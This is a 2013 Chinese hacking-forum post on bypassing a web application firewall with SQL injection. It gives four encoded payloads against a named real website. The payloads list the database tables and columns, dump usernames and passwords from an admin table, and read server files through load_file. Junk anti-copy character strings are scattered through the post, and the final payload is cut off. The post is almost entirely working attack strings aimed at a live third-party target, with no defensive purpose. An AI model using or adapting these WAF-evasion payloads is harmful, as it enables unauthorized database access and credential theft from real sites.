找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2555|回复: 0
打印 上一主题 下一主题

绕过waf注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:51:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
waf过滤了 union select  from 等关键词
9 G* C3 |. T/ u) T% Q3 c. b6 ]' f! @5 n  F1 I9 @, @7 {2 Q7 _3 }
8 j6 @1 @/ d( N- b* X) F
1.列当前库所有表
0 P1 o$ e: v; x; e. d+ K" ihttp://jyht.co.uk/career.php
& z6 _, r% k2 q5 i?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,%28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%54%41%42%4C%45%53%20%41%53%20%69%20%57%48%45%52%45%20%69%2E%54%41%42%4C%45%5F%53%43%48%45%4D%41%20%3D%20%64%61%74%61%62%61%73%65%28%29%29,6,7,8,9,10,11,12,13,14,15,16,17,18
5 a1 [# _8 q4 f9 ]6 ~ 1 `5 B: L: `0 ^
2.获取字段0 O( E0 s, L* p1 o
http://jyht.co.uk/career.php
) ]: C# f5 b" h# U?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat(COLUMN_NAME,0x3C2F62723E),6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%43%4F%4C%55%4D%4E%53%20%77%68%65%72%65%20%54%41%42%4C%45%5F%4E%41%4D%45%3D%30%78%36%44%36%31%36%45%36%31%36%37%36%35%37%32
; \- z) d7 ?. L' M4 u  r3 q/ ~
' i9 z5 _" ~/ `  h9 Z3.直接获取数据* ?) a0 R, J1 Z. {( I
http://jyht.co.uk/career.php
4 J# h6 V( G4 H4 z; a+ |?id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat(id,0x3d,username,0x3d,password,0x3C62722F3E),5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/%66%72%6F%6D/**/%6D%61%6E%61%67%65%72! i+ d9 E; S7 P, m6 Z

+ E! ~& }9 A/ Z" @ 2 Y+ c& _$ h* a# E" G) i
4.读文件 可以不用hex  直接在页面显示(必须是root)% M% E3 ]7 M  ?7 s% l$ s
http://jyht.co.uk/career.php
4 d  O9 N5 I( G?id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex(load_file(0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E70687
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表